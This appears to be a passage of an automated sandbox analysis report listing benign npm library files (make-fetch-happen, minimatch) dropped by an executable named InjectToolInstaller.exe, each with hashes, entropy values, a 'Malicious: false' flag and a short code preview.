Preview:	const dns = require('dns')..const conditionalHeaders = [. 'if-modified-since',. 'if-none-match',. 'if-unmodified-since',. 'if-match',. 'if-range',.]..const configureOptions = (opts) => {. const { strictSSL, ...options } = { ...opts }. options.method = options.method ? options.method.toUpperCase() : 'GET'. options.rejectUnauthorized = strictSSL !== false.. if (!options.retry) {. options.retry = { retries: 0 }. } else if (typeof options.retry === 'string') {. const retries = parseInt(options.retry, 10). if (isFinite(retries)) {. options.retry = { retries }. } else {. options.retry = { retries: 0 }. }. } else if (typeof options.retry === 'number') {. options.retry = { retries: options.retry }. } else {. options.retry = { retries: 0, ...options.retry }. }.. options.dns = { ttl: 5 * 60 * 1000, lookup: dns.lookup, ...options.dns }.. options.cache = options.cache \|\| 'default'. if (options.cache === 'default') {. const hasConditionalHeader = Ob

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\make-fetch-happen\lib\pipeline.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1114
Entropy (8bit):	4.497137454660423
Encrypted:	false
SSDEEP:	24:6SeOqL5l8+cVURwCqKUnwjhHGf6uLrByM+2arZvBEv:sLnJcGRHZxoAtH9vA
MD5:	13FE7E2C674A023520E681ADC0B4E6C3
SHA1:	C8036D2CE4322F025E9ABDFC25A84A9DF7DB1D99
SHA-256:	082BB7C9C7F020C816C2582FE436C992B9851E0727339723337B580D6F6C1707
SHA-512:	9A47DFC27A41C69C9A0D77396FA2B87DAA95CD5A6941B4C6877D8BF7E0368C624530C6A0E7EE67125E0D4632EE25A171EAE41506EE09989AEF6286834CC31C24
Malicious:	false
Preview:	'use strict'..const MinipassPipeline = require('minipass-pipeline')..class CachingMinipassPipeline extends MinipassPipeline {. #events = []. #data = new Map().. constructor (opts, ...streams) {. // CRITICAL: do NOT pass the streams to the call to super(), this will start. // the flow of data and potentially cause the events we need to catch to emit. // before we've finished our own setup. instead we call super() with no args,. // finish our setup, and then push the streams into ourselves to start the. // data flow. super(). this.#events = opts.events.. /* istanbul ignore next - coverage disabled because this is pointless to test here */. if (streams.length) {. this.push(...streams). }. }.. on (event, handler) {. if (this.#events.includes(event) && this.#data.has(event)) {. return handler(...this.#data.get(event)). }.. return super.on(event, handler). }.. emit (event, ...data) {. if (this.#events.includes(event)) {. this.#d

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\make-fetch-happen\lib\remote.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4277
Entropy (8bit):	4.801355700678475
Encrypted:	false
SSDEEP:	48:lHkKhSC5ngO8nhlSBXhPBg5sryUwuIvp/2hFzFLwzzrma8GcpOFXGbwiNm2rnX:X5ghhl4dBg5MyUIVcwzzrmpCn2rnX
MD5:	8F8147D225BE9EBF9D6DB344612AEE9E
SHA1:	B0EB0152D0E886A46292DEA36E268DBE5D05B0F9
SHA-256:	F668A76FD50A291751190292679A094D6F4FDF3B60678BF3F1E8BD3941F51516
SHA-512:	030F2EA3A2E0CA9A92472867500DFE289B6E7FED57AB81989C54CB2630857BFF07564C8CD18D96BB6BD672194C79AC79C22391C88FBDF5B453066BE032E1400A
Malicious:	false
Preview:	const { Minipass } = require('minipass').const fetch = require('minipass-fetch').const promiseRetry = require('promise-retry').const ssri = require('ssri')..const CachingMinipassPipeline = require('./pipeline.js').const { getAgent } = require('@npmcli/agent').const pkg = require('../package.json')..const USER_AGENT = `${pkg.name}/${pkg.version} (+https://npm.im/${pkg.name})`..const RETRY_ERRORS = [. 'ECONNRESET', // remote socket closed on us. 'ECONNREFUSED', // remote host refused to open connection. 'EADDRINUSE', // failed to bind to a local port (proxy?). 'ETIMEDOUT', // someone in the transaction is WAY TOO SLOW. // from @npmcli/agent. 'ECONNECTIONTIMEOUT',. 'EIDLETIMEOUT',. 'ERESPONSETIMEOUT',. 'ETRANSFERTIMEOUT',. // Known codes we do NOT retry on:. // ENOTFOUND (getaddrinfo failure. Either bad hostname, or offline). // EINVALIDPROXY // invalid protocol from @npmcli/agent. // EINVALIDRESPONSE // invalid status code from @npmcli/agent.]..const RETRY_TYPES = [. 'reque

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\make-fetch-happen\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1816
Entropy (8bit):	4.650637180389374
Encrypted:	false
SSDEEP:	24:p1PbHYie3KFEP8LCdQGiYBUOmzT3YMeXEL8LIFhjCAZ1Z6d7QH6YOJo6lDP1TZD:bPb4ie3/P8WJUd0A8sPj7LEdI6LflRTt
MD5:	E1F5014D02BA9451F4A6FB135066AE5D
SHA1:	F7E8BF5305E70BB62F00FB0FF1FFA410667A5B6D
SHA-256:	3DF1D255EAAE17588B9FD188981018BC363D833898F75D03D61F7BC486DD93EA
SHA-512:	4CA601AB42293E99C2286AA08BD3FCF9F85A75D95A3D00AD97D9530EBBF2DBAD620CCE56E2C5B967B9C4781BA29232442802645154768E76F1471EC2F388036F
Malicious:	false
Preview:	{. "name": "make-fetch-happen",. "version": "13.0.0",. "description": "Opinionated, caching, retrying fetch client",. "main": "lib/index.js",. "files": [. "bin/",. "lib/". ],. "scripts": {. "test": "tap",. "posttest": "npm run lint",. "eslint": "eslint",. "lint": "eslint \"*/.js\"",. "lintfix": "npm run lint -- --fix",. "postlint": "template-oss-check",. "snap": "tap",. "template-oss-apply": "template-oss-apply --force". },. "repository": {. "type": "git",. "url": "https://github.com/npm/make-fetch-happen.git". },. "keywords": [. "http",. "request",. "fetch",. "mean girls",. "caching",. "cache",. "subresource integrity". ],. "author": "GitHub Inc.",. "license": "ISC",. "dependencies": {. "@npmcli/agent": "^2.0.0",. "cacache": "^18.0.0",. "http-cache-semantics": "^4.1.1",. "is-lambda": "^1.0.1",. "minipass": "^7.0.2",. "minipass-fetch": "^3.0.0",. "minipass-flush": "^1.0.5",. "minipass-pipe

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minimatch\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	775
Entropy (8bit):	5.055451430709965
Encrypted:	false
SSDEEP:	12:9FM/Z7TES4dCPXeTbbtLgmq6KX9KsA8dXsrUXA3+PPRz2AvzT3kEmy2CKrK2PF3t:9QZvICCtEmq6s9iOnc4PRnA+KpF3ew
MD5:	8B78835EA26F80C9067A0E80A294D926
SHA1:	6747ABC818A407B412CE84D42BED5AA636A1E393
SHA-256:	D11323827FA4EDEAAFC437CC5B91B6971B335F0127EFEEB42BF5122FE8657E8F
SHA-512:	C137E773CB3845ACB97762D0E563ABC298D30A21606D64027A3479E460A26A1C70D6D9E657B5093141FE19FA1796F7268E7FA17737CE695FF491B8ADF4634124
Malicious:	false
Preview:	The ISC License..Copyright (c) 2011-2023 Isaac Z. Schlueter and Contributors..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR.ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN.ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR.IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minimatch\dist\cjs\assert-valid-pattern.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	492
Entropy (8bit):	5.0223029468580895
Encrypted:	false
SSDEEP:	6:VTErcSNyJhKrmDoqWViTkv2F0+DAEkXlifa0zmDkEuqtiAwBJ0eFy58:BETNy2rmD/WATI2FjZkVMVzmDRuAqB/
MD5:	CDB3CBB7CC55A4D1AA0622FF2825F611
SHA1:	EAD2677C30AC582E2B7AABBA39C4513793652E72
SHA-256:	FCD3B0E6EFEE67B11249804CC64BF4D22C883395491F79BFB484869D61823600
SHA-512:	6BC45CD6460107AA667CEC170E5318E43B91C2E0D85C9A16250FB1CB85EC41420A843F55A3CABDF460F1E7B8193488287B1E980641A7896168A1CECC006B9F4A
Malicious:	false
Preview:	"use strict";.Object.defineProperty(exports, "__esModule", { value: true });.exports.assertValidPattern = void 0;.const MAX_PATTERN_LENGTH = 1024 * 64;.const assertValidPattern = (pattern) => {. if (typeof pattern !== 'string') {. throw new TypeError('invalid pattern');. }. if (pattern.length > MAX_PATTERN_LENGTH) {. throw new TypeError('pattern is too long');. }.};.exports.assertValidPattern = assertValidPattern;.//# sourceMappingURL=assert-valid-pattern.js.map

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minimatch\dist\cjs\ast.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	C++ source, ASCII text
Category:	dropped
Size (bytes):	22766
Entropy (8bit):	4.149971056868575
Encrypted:	false
SSDEEP:	384:15N5Y4qFh3cC2ozyWzPOwC7z/u3og42XjQfPSVY63MF84Lzg6pDf:3BqFh3cC2ay6POwk/u3okaiyLs6hf
MD5:	AD2C4EC27C2D38825AED2C0E98A9A05A
SHA1:	89B3B326978675E01718B6BF9EA52DE3D4146455
SHA-256:	1C9BD2D6A8F0CFD1EE2649D522B50FE07D36508E7C96061D095E04B3EA198DC2
SHA-512:	953C588EB483B0A34A2A956F812864698B5382B4DA1B7AD4F49A04D7FC7805CB153F36D47E1EC120D07A5C5B7DEA17AACEAE6E6A5D575FBE6B0D02D4ED9E1575
Malicious:	false
Preview:	"use strict";.// parse a single path portion.Object.defineProperty(exports, "__esModule", { value: true });.exports.AST = void 0;.const brace_expressions_js_1 = require("./brace-expressions.js");.const unescape_js_1 = require("./unescape.js");.const types = new Set(['!', '?', '+', '', '@']);.const isExtglobType = (c) => types.has(c);.// Patterns that get prepended to bind to the start of either the.// entire string, or just a single path portion, to prevent dots.// and/or traversal patterns, when needed..// Exts don't need the ^ or / bit, because the root binds that already..const startNoTraversal = '(?!(?:^\|/)\\.\\.?(?:$\|/))';.const startNoDot = '(?!\\.)';.// characters that indicate a start of pattern needs the "no dots" bit,.// because a dot might* be matched. ( is not in the list, because in.// the case of a child extglob, it will handle the prevention itself..const addPatternStart = new Set(['[', '.']);.// cases where traversal is A-OK, no dot prevention needed.const justDots =

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minimatch\dist\cjs\brace-expressions.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5763
Entropy (8bit):	4.48429510423379
Encrypted:	false
SSDEEP:	96:UEHrKr6EfIuGRdj+SxdNsyXPDVyvrWat3y3kzcciqMbm/CyXm7/m2A9xcEhv5T48:U8njuIplXPD8TWat3y0ociqMbGCy2Thg
MD5:	718FAD7BCAE1BEFC693664B0E6311049
SHA1:	F8A0A71BC080FF451F2893EA42CE8C1AA20EA30B
SHA-256:	9AF1C8892ED1E6A153D2F158438722C666AA906EB7E2EC8A27FCE7CF035B4278
SHA-512:	06BBB955BAD3712DE2D07D9388FC38916F27D534E3B6FCCADF396F445C46D1742F585C0987D25F368FED39AA3E7794F21AF24EB6CB0DB9B3C70DE9B9A331FB71
Malicious:	false
Preview:	"use strict";.// translate the various posix character classes into unicode properties.// this works across all unicode locales.Object.defineProperty(exports, "__esModule", { value: true });.exports.parseClass = void 0;.// { <posix class>: [<translation>, /u flag required, negated].const posixClasses = {. '[:alnum:]': ['\\p{L}\\p{Nl}\\p{Nd}', true],. '[:alpha:]': ['\\p{L}\\p{Nl}', true],. '[:ascii:]': ['\\x' + '00-\\x' + '7f', false],. '[:blank:]': ['\\p{Zs}\\t', true],. '[:cntrl:]': ['\\p{Cc}', true],. '[:digit:]': ['\\p{Nd}', true],. '[:graph:]': ['\\p{Z}\\p{C}', true, true],. '[:lower:]': ['\\p{Ll}', true],. '[:print:]': ['\\p{C}', true],. '[:punct:]': ['\\p{P}', true],. '[:space:]': ['\\p{Z}\\t\\r\\n\\v\\f', true],. '[:upper:]': ['\\p{Lu}', true],. '[:word:]': ['\\p{L}\\p{Nl}\\p{Nd}\\p{Pc}', true],. '[:xdigit:]': ['A-Fa-f0-9', false],.};.// only need to escape a few things inside of brace expressions.// escapes: [ \ ] -.const braceEscape =

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minimatch\dist\cjs\escape.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.824472789574183
Encrypted:	false
SSDEEP:	24:KRyXkriHaBBsxZ31cMsY3++/czanghmqHS5pNICYSXfRS/:KESuZ313z3++/Ady2gvQ
MD5:	CC18744AA1949F163346B1B38F450FCB
SHA1:	D3DC72964FEC4828762FE5B133A020EBA1716159
SHA-256:	55E384815856F5708DAD6E501AA47314BC08DCB4B90D11DB85E413716F948C17
SHA-512:	3346232AC18B6511BE80957EFEAF7385C07A3ACC036E2AA54AB38B57F023C8E7769937AAA3596C13C330A894D4F0E7427EE1ED0DA7C1E4EB7534B37B8F1B40A2
Malicious:	false
Preview:	"use strict";.Object.defineProperty(exports, "__esModule", { value: true });.exports.escape = void 0;./*. Escape all magic characters in a glob pattern.. . If the {@link windowsPathsNoEscape \| GlobOptions.windowsPathsNoEscape}. * option is used, then characters are escaped by wrapping in `[]`, because. * a magic character wrapped in a character class can only be satisfied by. * that exact character. In this mode, `\` is _not_ escaped, because it is. * not interpreted as a magic character, but instead as a path separator.. /.const escape = (s, { windowsPathsNoEscape = false, } = {}) => {. // don't need to escape +@! because we escape the parens. // that make those magic, and escaping ! as [!] isn't valid,. // because [!]] is a valid glob class meaning not ']'.. return windowsPathsNoEscape. ? s.replace(/[?()[\]]/g, '[$&]'). : s.replace(/[?*()[\]\\]/g, '\\$&');.};.exports.escape = escape;.//# sourceMappingURL=escape.js.map

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minimatch\dist\cjs\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	40340
Entropy (8bit):	4.301990190088392
Encrypted:	false
SSDEEP:	768:BjVjXBjDnSjTkc98oOFnFtQfxjF4AXLZBjdvLEYLjgFjBjrNjOj2jCjsjDj4It+c:BplKMjDA/1L29NKaWIXzt+c
MD5:	DC7223E01065D0F6AF09D5B4663B34C7
SHA1:	1FB4A830868BBFDF43AE35905A7F7192D4A27800
SHA-256:	28B08ACB90234D746C997B9C164ED8CB30B9997816706E18672914F6738EF817
SHA-512:	414DD2CEBE08B8B0C3B57253ED57021DCFFBB87972EAFAD6EFC0AD90ECF5F56174A368CC1A15D9C57ABA5490BDF78A53FFDB6CE919C2F04CD165DA1674708822
Malicious:	false
Preview:	"use strict";.var __importDefault = (this && this.__importDefault) \|\| function (mod) {. return (mod && mod.__esModule) ? mod : { "default": mod };.};.Object.defineProperty(exports, "__esModule", { value: true });.exports.unescape = exports.escape = exports.AST = exports.Minimatch = exports.match = exports.makeRe = exports.braceExpand = exports.defaults = exports.filter = exports.GLOBSTAR = exports.sep = exports.minimatch = void 0;.const brace_expansion_1 = __importDefault(require("brace-expansion"));.const assert_valid_pattern_js_1 = require("./assert-valid-pattern.js");.const ast_js_1 = require("./ast.js");.const escape_js_1 = require("./escape.js");.const unescape_js_1 = require("./unescape.js");.const minimatch = (p, pattern, options = {}) => {. (0, assert_valid_pattern_js_1.assertValidPattern)(pattern);. // shortcut: comments match nothing.. if (!options.nocomment && pattern.charAt(0) === '#') {. return false;. }. return new Minimatch(pattern, options).matc

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minimatch\dist\cjs\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25
Entropy (8bit):	3.783465189601646
Encrypted:	false
SSDEEP:	3:f8fkEKLSYv:fUKLSC
MD5:	DF9FFC6AA3F78A5491736D441C4258A8
SHA1:	9D0D83AE5D399D96B36D228E614A575FC209D488
SHA-256:	8005A3491DB7D92F36AC66369861589F9C47123D3A7C71E643FC2C06168CD45A
SHA-512:	6C58939DA58F9B716293A8328F7A3649B6E242BF235FAE00055A0CC79FB2788E4A99DFAA422E0CFADBE84E0D5E33B836F68627E6A409654877EDC443B94D04C4
Malicious:	false
Preview:	{. "type": "commonjs".}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minimatch\dist\cjs\unescape.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	973
Entropy (8bit):	4.999832928932337
Encrypted:	false
SSDEEP:	24:KRy4NsthOCw5TMgPT3FpRlWuARng65pNICPsG6BN4u/:KEBSA4TdlHAt2Q8Nh
MD5:	2CAFB9340AA6FD34E3945A3B84359EE2
SHA1:	A18C8824BB49BCAA2482D76B19ACAC82C2407B72
SHA-256:	FF3E0DD4664576CFE078C3B494724D7CF2F691CDF960304E354E7C34FA6B5A30
SHA-512:	92326E94E6C995DEB91C85B33CC74B125A8A4EF6F5BCD503C78BBA414333D674E799313AF8BEEA348ABEC6A735777C9ED010AC1CFB8E2104CF9461A63EF6C3B0
Malicious:	false
Preview:	"use strict";.Object.defineProperty(exports, "__esModule", { value: true });.exports.unescape = void 0;./*. Un-escape a string that has been escaped with {@link escape}.. . If the {@link windowsPathsNoEscape} option is used, then square-brace. * escapes are removed, but not backslash escapes. For example, it will turn. * the string `'[]'` into ``, but it will not turn `'\\'` into `''`,. * becuase `\` is a path separator in `windowsPathsNoEscape` mode.. . When `windowsPathsNoEscape` is not set, then both brace escapes and. * backslash escapes are removed.. . Slashes (and backslashes in `windowsPathsNoEscape` mode) cannot be escaped. * or unescaped.. */.const unescape = (s, { windowsPathsNoEscape = false, } = {}) => {. return windowsPathsNoEscape. ? s.replace(/\[([^\/\\])\]/g, '$1'). : s.replace(/((?!\\).\|^)\[([^\/\\])\]/g, '$1$2').replace(/\\([^\/])/g, '$1');.};.exports.unescape = unescape;.//# sourceMappingURL=unescape.js.map

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minimatch\dist\mjs\assert-valid-pattern.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	4.943151127465994
Encrypted:	false
SSDEEP:	6:JmDoqWPB8KWfkv2F0+DAEkXlifa0zmDkEuqtiAwCFy58:JmD/WJeI2FjZkVMVzmDRuAqU
MD5:	5AF2307C9F65DF0947876C2416EE2DE9
SHA1:	ABBEBBA963ECCB1DE0125C300F0053AE52A0E0FF
SHA-256:	90E8D3327D573B9D2391EDF03DC7D50C1C0B468D720A4C0FB4A08A36EE5C50DC
SHA-512:	8CDB9E1B3E13CFDDC8CDB3522AD12F19D7BFEF613EC2CA439AB1F2E676EA12E2C51032DD11236E695A7E6C3570C47D6F2B3A2FA14B6D1E48B017B8163688348A
Malicious:	false
Preview:	const MAX_PATTERN_LENGTH = 1024 * 64;.export const assertValidPattern = (pattern) => {. if (typeof pattern !== 'string') {. throw new TypeError('invalid pattern');. }. if (pattern.length > MAX_PATTERN_LENGTH) {. throw new TypeError('pattern is too long');. }.};.//# sourceMappingURL=assert-valid-pattern.js.map

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minimatch\dist\mjs\ast.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Java source, ASCII text
Category:	dropped
Size (bytes):	22532
Entropy (8bit):	4.125238254010979
Encrypted:	false
SSDEEP:	384:AvN5Y4eFh3cC2ozyWzPOwC7z/u3og42XjQfPSVY63MFH48OgSpDT:kBeFh3cC2ay6POwk/u3okaiR8hShT
MD5:	C28E9CACB85877ABD715ADF4EC90B493
SHA1:	A8C967DA659C72B4258228A94DF845F8D2AAEAB0
SHA-256:	B375321C807DCD2FC7C3EF4BB681EBC7B7616649E94F07C11D7AD07AEBE0C1E6
SHA-512:	04F8CE15B36D8B2DCD418EB63C1C93FA0CD235C3420C61BDF165B2F8AEC0DBA53C93A783F4F5F06EDCE719F964176661887409ED90402E0D544EF10AF41509D8
Malicious:	false
Preview:	// parse a single path portion.import { parseClass } from './brace-expressions.js';.import { unescape } from './unescape.js';.const types = new Set(['!', '?', '+', '', '@']);.const isExtglobType = (c) => types.has(c);.// Patterns that get prepended to bind to the start of either the.// entire string, or just a single path portion, to prevent dots.// and/or traversal patterns, when needed..// Exts don't need the ^ or / bit, because the root binds that already..const startNoTraversal = '(?!(?:^\|/)\\.\\.?(?:$\|/))';.const startNoDot = '(?!\\.)';.// characters that indicate a start of pattern needs the "no dots" bit,.// because a dot might* be matched. ( is not in the list, because in.// the case of a child extglob, it will handle the prevention itself..const addPatternStart = new Set(['[', '.']);.// cases where traversal is A-OK, no dot prevention needed.const justDots = new Set(['..', '.']);.const reSpecials = new Set('().{}+?[]^$\\!');.const regExpEscape = (s) => s.replace(/[-[\]{}()

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minimatch\dist\mjs\brace-expressions.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5631
Entropy (8bit):	4.457251414944262
Encrypted:	false
SSDEEP:	96:JrKr6EfIuGRdj+SxdNsyXPDVyvD3Wat3y3kzcciqMbm/CyXm7/m2A9xcEhv5T4We:JnjuIplXPD8rWat3y0ociqMbGCy2Th2U
MD5:	DAB069B04669DF351D09AAFD8F4F8469
SHA1:	4CDC912BC00F103D441DE4B52F3E9F7ED9D2494C
SHA-256:	E99F6C57070874422DAE185154539C9B33A6FB34E2A12EEBAC8626DD0AB35204
SHA-512:	EDFA10CDA1B60908A145CCD6D2A02EE94EF4FAF3E609EA608E4ED9782905136D009E4CB7EE6668484B880062CDD9BF52BE2A9AD37184C539F61308709D1AE1FA
Malicious:	false
Preview:	// translate the various posix character classes into unicode properties.// this works across all unicode locales.// { <posix class>: [<translation>, /u flag required, negated].const posixClasses = {. '[:alnum:]': ['\\p{L}\\p{Nl}\\p{Nd}', true],. '[:alpha:]': ['\\p{L}\\p{Nl}', true],. '[:ascii:]': ['\\x' + '00-\\x' + '7f', false],. '[:blank:]': ['\\p{Zs}\\t', true],. '[:cntrl:]': ['\\p{Cc}', true],. '[:digit:]': ['\\p{Nd}', true],. '[:graph:]': ['\\p{Z}\\p{C}', true, true],. '[:lower:]': ['\\p{Ll}', true],. '[:print:]': ['\\p{C}', true],. '[:punct:]': ['\\p{P}', true],. '[:space:]': ['\\p{Z}\\t\\r\\n\\v\\f', true],. '[:upper:]': ['\\p{Lu}', true],. '[:word:]': ['\\p{L}\\p{Nl}\\p{Nd}\\p{Pc}', true],. '[:xdigit:]': ['A-Fa-f0-9', false],.};.// only need to escape a few things inside of brace expressions.// escapes: [ \ ] -.const braceEscape = (s) => s.replace(/[[\]\\-]/g, '\\$&');.// escape all regexp magic characters.const regexpEscape = (s) => s

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minimatch\dist\mjs\escape.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.749264662566494
Encrypted:	false
SSDEEP:	24:iriHaBBsxZ31cMsY3++/c2BnghmqHS5pNICYNRS/:0uZ313z3++/Juy2rQ
MD5:	B5B102E0BD95E81CC2C8F4D05829454F
SHA1:	3DC465582689B8F8BB931ED47C772A3E60A5BC39
SHA-256:	1E510823C9FBC36771C4C1B5EDC1A4A5FCE1CC443634C19A843D02280ACD4639
SHA-512:	B4762F81DC33A6BADB19832AE145A4F1768C9615292F2DB1ECFEBA9B78839878D6D0323EB9B3EE3AE8B08E45E6B871E04F43A964D1FE999F6E05C209FC53DA11
Malicious:	false
Preview:	/*. Escape all magic characters in a glob pattern.. . If the {@link windowsPathsNoEscape \| GlobOptions.windowsPathsNoEscape}. * option is used, then characters are escaped by wrapping in `[]`, because. * a magic character wrapped in a character class can only be satisfied by. * that exact character. In this mode, `\` is _not_ escaped, because it is. * not interpreted as a magic character, but instead as a path separator.. /.export const escape = (s, { windowsPathsNoEscape = false, } = {}) => {. // don't need to escape +@! because we escape the parens. // that make those magic, and escaping ! as [!] isn't valid,. // because [!]] is a valid glob class meaning not ']'.. return windowsPathsNoEscape. ? s.replace(/[?()[\]]/g, '[$&]'). : s.replace(/[?*()[\]\\]/g, '\\$&');.};.//# sourceMappingURL=escape.js.map

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minimatch\dist\mjs\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Java source, ASCII text
Category:	dropped
Size (bytes):	38881
Entropy (8bit):	4.246879396190987
Encrypted:	false
SSDEEP:	768:ss2DQvL8c9doOFnFtQfxjF4AXLZ2dvLEYbWq2rybDfxw44:jjDAKM
MD5:	C9B7FF364AD1BBAAB2FEE3D465655142
SHA1:	07B0393DACDF8A3CA3F44B5A10EC47E713AE3A85
SHA-256:	ED7A1223DE520F40942A5C7421E74CBFD054001C14506E9A70F8A44CA4DA0E1E
SHA-512:	42392C038CE754A1F496977A977CEB470A86F2CE3ECA2CB9B762A407E8047770D5CDD8E9BA0CF53704CD596C379A127676856BDF28BE1ED545640B6D5B122EDF
Malicious:	false
Preview:	import expand from 'brace-expansion';.import { assertValidPattern } from './assert-valid-pattern.js';.import { AST } from './ast.js';.import { escape } from './escape.js';.import { unescape } from './unescape.js';.export const minimatch = (p, pattern, options = {}) => {. assertValidPattern(pattern);. // shortcut: comments match nothing.. if (!options.nocomment && pattern.charAt(0) === '#') {. return false;. }. return new Minimatch(pattern, options).match(p);.};.// Optimized checking for the most common glob patterns..const starDotExtRE = /^\+([^+@!?\\[\(]*)$/;.const starDotExtTest = (ext) => (f) => !f.startsWith('.') && f.endsWith(ext);.const starDotExtTestDot = (ext) => (f) => f.endsWith(ext);.const starDotExtTestNocase = (ext) => {. ext = ext.toLowerCase();. return (f) => !f.startsWith('.') && f.toLowerCase().endsWith(ext);.};.const starDotExtTestNocaseDot = (ext) => {. ext = ext.toLowerCase();. return (f) => f.toLowerCase().endsWith(ext);.};.const

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minimatch\dist\mjs\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	23
Entropy (8bit):	3.675310868912364
Encrypted:	false
SSDEEP:	3:f8fqKBYn:f4Yn
MD5:	D0707362E90F00EDD12435E9D3B9D71C
SHA1:	50FAEB965B15DFC6854CB1235B06DBB5E79148D2
SHA-256:	3CA9D4AFD21425087CF31893B8F9F63C81B0B8408DB5E343CA76E5F8AA26AB9A
SHA-512:	9D323420CC63C6BEE79DCC5DB5F0F18F6B8E073DAAF8FFA5459E11F2DE59A9F5E8C178D77FA92AFC9DDD352623DEC362C62FFF859C71A2FAB93F1E2172C4987F
Malicious:	false
Preview:	{. "type": "module".}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minimatch\dist\mjs\unescape.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	847
Entropy (8bit):	4.935570218397068
Encrypted:	false
SSDEEP:	24:HsthOCw5TMgPT3FpRlWuJ+ng65pNICPsG6Ba/:4SA4TdlHJg2Q8y
MD5:	BE82715B6EBF1A248801A93D0707DA9C
SHA1:	EB5089A9AEFF7243EF768BF86EA0BFF54997410D
SHA-256:	4C52110A7053CA74D659226519E2D977D10CCBBA0305D514D2AEFFA78E1583F5
SHA-512:	04257C3380348190DDADCB36DD1955C085B91C4F9BBA389CEC2C112450FE3830506AE857F838543B731CEF0FD1DDF749E224C9F1D0082A1D0DD00EE5478E72AF
Malicious:	false
Preview:	/*. Un-escape a string that has been escaped with {@link escape}.. . If the {@link windowsPathsNoEscape} option is used, then square-brace. * escapes are removed, but not backslash escapes. For example, it will turn. * the string `'[]'` into ``, but it will not turn `'\\'` into `''`,. * becuase `\` is a path separator in `windowsPathsNoEscape` mode.. . When `windowsPathsNoEscape` is not set, then both brace escapes and. * backslash escapes are removed.. . Slashes (and backslashes in `windowsPathsNoEscape` mode) cannot be escaped. * or unescaped.. */.export const unescape = (s, { windowsPathsNoEscape = false, } = {}) => {. return windowsPathsNoEscape. ? s.replace(/\[([^\/\\])\]/g, '$1'). : s.replace(/((?!\\).\|^)\[([^\/\\])\]/g, '$1$2').replace(/\\([^\/])/g, '$1');.};.//# sourceMappingURL=unescape.js.map

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minimatch\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2106
Entropy (8bit):	4.662653488333719
Encrypted:	false
SSDEEP:	48:C8q6rg7gkJ4T4gm94O4v2/FQEjoEX+mVH/YPFDWb2giWUEpzg9X:ZgjJi9msv4X+m98gitEOX
MD5:	F455D9D12D45CEDADF012DABA6FBC9DF
SHA1:	4ED914356DB62C0F41AADDCB94DAC3EF6ECCD7BF
